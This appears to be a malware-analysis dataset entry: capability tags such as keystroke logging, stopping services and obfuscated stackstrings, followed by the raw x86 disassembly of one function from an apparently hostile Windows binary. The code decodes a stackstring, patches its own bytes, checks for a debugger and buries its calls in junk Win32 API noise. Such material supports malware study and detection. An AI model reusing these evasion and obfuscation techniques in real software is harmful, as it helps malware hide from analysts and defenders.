Function at 0xaa7000
Capabilities:
Contain obfuscated stackstrings
Delete file
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk information
Identify system language via api
Log keystrokes
Read .ini file
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov dword [ebp - 0x10], 0xaa7a23
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaa7036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaa720a
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xaa70b8
call fcn.00484ca2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xaa707a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaa7094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaa7094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaa704a
mov byte [ebp - 0x7c], 2
mov byte [ebp - 0x7b], 0x6f
mov byte [ebp - 0x7a], 1
mov byte [ebp - 0x79], 0x78
mov byte [ebp - 0x78], 9
mov byte [ebp - 0x77], 0x6e
mov byte [ebp - 0x76], 0x20
mov byte [ebp - 0x75], 0xa3
mov byte [ebp - 0x74], 0x5a
mov byte [ebp - 0x73], 4
mov byte [ebp - 0x72], 0x86
mov byte [ebp - 0x71], 0xaf
mov byte [ebp - 0x70], 0x95
mov byte [ebp - 0x6f], 0x72
mov byte [ebp - 0x6e], 0x1e
mov byte [ebp - 0x6d], 0x81
mov byte [ebp - 0x6c], 0x9a
mov byte [ebp - 0x6b], 0x37
mov byte [ebp - 0x6a], 0x92
mov byte [ebp - 0x69], 0x17
mov byte [ebp - 0x68], 0x3a
mov byte [ebp - 0x67], 0x70
mov byte [ebp - 0x66], 0xdd
mov byte [ebp - 0x65], 0x99
mov byte [ebp - 0x64], 0xcd
mov byte [ebp - 0x63], 0xa4
mov byte [ebp - 0x62], 0xb6
mov byte [ebp - 0x61], 0xed
mov byte [ebp - 0x60], 0x77
mov byte [ebp - 0x5f], 0xfa
mov byte [ebp - 0x5e], 0xfc
mov byte [ebp - 0x5d], 0x86
mov byte [ebp - 0x5c], 0xaa
mov byte [ebp - 0x5b], 0xa9
mov byte [ebp - 0x5a], 0x57
mov byte [ebp - 0x59], 0x7c
mov byte [ebp - 0x58], 0xec
mov byte [ebp - 0x57], 0xaf
mov byte [ebp - 0x56], 8
mov byte [ebp - 0x55], 0x77
mov byte [ebp - 0x54], 7
mov byte [ebp - 0x53], 0x6a
mov byte [ebp - 0x52], 6
mov byte [ebp - 0x51], 0x79
mov byte [ebp - 0x50], 0
mov byte [ebp - 0x4f], 0x7f
mov byte [ebp - 0x4e], 5
mov byte [ebp - 0x4d], 0x78
mov byte [ebp - 0x4c], 3
mov byte [ebp - 0x4b], 0x31
mov byte [ebp - 0x4a], 4
mov byte [ebp - 0x49], 0x8a
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xaa719a
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x34
jae 0xaa71ff
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x7c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaa71c6
mov dword [ebp - 0x24], 0x20
mov eax, dword [ebp - 8]
add eax, 0x1e
mov dword [ebp - 8], eax
jmp 0xaa7192
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7b]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaa71ee
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaa71db
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7c]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaa7192
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa9baea
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407aec
mov ecx, eax
call fcn.00402f4a
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402eee
and dword [ebp - 0x1c], 0
jmp 0xaa7242
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaa7252
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaa723b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
call dword [sym.imp.USER32.dll_ReleaseCapture]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x2120
push 0
push 0x151e
push 0x84c
call dword [sym.imp.GDI32.dll_ExtCreatePen]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
push 0x17fb
push 0x219b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0x1a14
push 0x4af
push 0x4c0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
push 0x7d9
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0xeec
push 0
push 0xcac
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
push 0
push 0x872
push 0x762
push 0x1811
push 0x22a0
push 0x12cb
push 0x76c
push 0x216d
push 0xcd4
push 0x1f3e
push 0x117f
push 0xa65
push 0x82d
push 0x1014
call dword [sym.imp.GDI32.dll_CreateFontA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push 0x14c8
push 0x245b
push 0xb8a
push 0x793
push 0x25cc
push 0x1cf2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
call dword [sym.imp.USER32.dll_GetCapture]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
push 0
push 0x181
push 0x2654
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
push 0
push 0x4ae
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0x33d
push 0x1e26
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
push 0x6bc
push 0x10f
call dword [sym.imp.USER32.dll_SetCaretPos]
push 0
push 0xac3
push 0
push 0x2ea
push 0xa15
push 0
push 0x220b
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0x1c52
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
push 0xeac
push 0xde5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_LineTo]
push 0xc33
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0x234
push 0x7d4
push 0x1558
push 0
push 0x1100
push 0x1726
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1f23
push 0x2003
push 0xac9
push 0x1c17
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
push 0
push 0x1b91
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
push 0x22ec
push 0x1a04
push 0x1ed3
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x18c8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x51a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0x21d7
push 0
push 0x2617
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
push 0x1437
call dword [sym.imp.USER32.dll_GetSysColor]
push 0
push 0xb0c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0x972
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
push 0
push 0
push 0x52e
push 0xcc4
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
push 0xc27
push 0x3cc
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
push 0xd20
push 0x16e4
push 0x6c3
push 0x77a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
push 0
push 0x156f
push 0
call dword [sym.imp.ADVAPI32.dll_ControlService]
push 0
push 0xed
push 0x1644
push 0x24fa
push 0x1a28
push 0x1204
push 0x99b
push 0x26ef
push 0x203b
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 0x622
push 0
push 0
push 0x15f8
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
push 0x1312
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
push 0
push 0
push 0x1dd1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
push 1
push 0x64e
push 0x14e0
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 0x20ae
push 0x24b7
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0
push 0
push 0x1ea3
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0x23be
push 0xe1e
push 0x78d
push 0xf95
push 0xa6a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
push 0x1135
call dword [sym.imp.USER32.dll_GetSysColorBrush]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push 0
push 0xfb2
push 0x17d6
push 0x168b
push 0x170e
call dword [sym.imp.GDI32.dll_CreateBitmap]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
push 0x102d
push 0x1e9c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
call dword [sym.imp.USER32.dll_CreatePopupMenu]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0xd87
call dword [sym.imp.USER32.dll_MessageBeep]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
push 0x9f1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
push 0
push 0x200f
push 0x1eb6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
push 0x4ad
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
push 0
push 0x132f
push 0
push 0
push 0x4a0
push 0x1cc7
push 0x919
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
push 0x8db
push 0x1a00
push 0
push 0x1d3c
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
push 0
push 0x3c6
push 0x1f21
call dword [sym.imp.GDI32.dll_CreatePen]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
push 0x13fc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
push 0x2104
push 0x1e9b
push 0x1fdd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x269b
push 0xdd
push 0x1de1
push 0xe3f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
push 0x2501
push 0x641
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
push 0
push 0x5c6
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0
push 0x1aeb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0x27e
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 0x154d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
jmp 0xaa7a2d
mov esp, ebp
pop ebp
ret